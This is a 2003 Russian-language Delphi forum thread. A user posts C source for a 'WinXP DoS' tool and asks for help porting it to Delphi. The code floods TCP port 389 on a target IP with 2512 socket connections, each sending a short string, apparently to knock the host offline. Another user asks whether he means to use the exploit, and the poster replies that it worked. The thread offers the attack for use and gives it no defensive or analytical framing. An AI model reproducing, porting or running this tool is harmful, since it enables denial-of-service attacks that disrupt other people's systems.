Вниз
Скачать: CL | DM;

389-й порт and TCP/IP   Найти похожие ветки 

← →
NOE ©   (2003-01-06 12:59) [0]

Есть любопытный кусочек, может кто поможет положить все енто дело на Делфу, а то в С я ни в зуб ногой, да и народу может быть интересно ;)) Предложения на Емейл


#include <stdio.h>
#include <winsock.h>
int main (int argc, char *argv[])
{
sockaddr_in peer;
int port,i;
int num_socks=2512;
int sockfd[2512];
char *send_buffer="sl0n";
char *addr=argv[1];
WSADATA winSockData;
printf("::WinXP DoS by n-force groUp::\n");
if ( argc < 2 )
{
printf(" -- Usage: d0s [ip] \n");
return -1;
}
port=389;
/****** INIT **********/
WSACleanup();
WSAStartup(0x0101, &winSockData);
/********************/
peer.sin_family = AF_INET;
peer.sin_port = htons(port);
peer.sin_addr.s_addr = inet_addr(addr);
for (i=0; i<num_socks; i++)
{
if( (sockfd[i]=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
printf("::Error creating socket::");
exit(1);
}
}
for(i=0; i<num_socks;i++)
{
if( connect(sockfd[i], (sockaddr*)&peer, sizeof(peer))==-1)
// ^^^Этот кусочек мне неподдается
{
printf("::Failed t0 connect [maybe attack was g00d]::\n");
exit(1);
}
}
for(i=0; i<num_socks;i++)
{
if(send(sockfd[i],send_buffer,strlen(send_buffer),0) ==-1)
{
printf("::Error sending packet::");
exit(1);
}
}
for(i=0; i<num_socks;i++)
{
closesocket(sockfd[i]);
}
WSACleanup();
exit(0); }


← →
Cr@sh ©   (2003-01-06 13:03) [1]

Эксплоит значит заюзать хочешь? А на Си откомпайлить ни как?


← →
NOE ©   (2003-01-06 14:24) [2]

Все, получилось.



Страницы: 1 вся ветка

Скачать: CL | DM;



Память: 0.45 MB
Время: 0.011 c
1-72276
Соловьев
2003-01-15 11:10
2003.01.23
Мастера, кто -нибудь сталкивался с распознаванием русских букв?


6-72425
LeReve
2002-11-22 22:08
2003.01.23
Как изменить время ожидания финкции Connect???


1-72263
IronHawk
2003-01-14 03:34
2003.01.23
Приветствую Мастеров! Вопрос простой но интересный ...


1-72215
Fors
2003-01-11 22:21
2003.01.23
как к этой задаче добавить проверки.


14-72539
Дмитрий К.К.
2003-01-07 06:26
2003.01.23
Именинники 7 января




   Наверх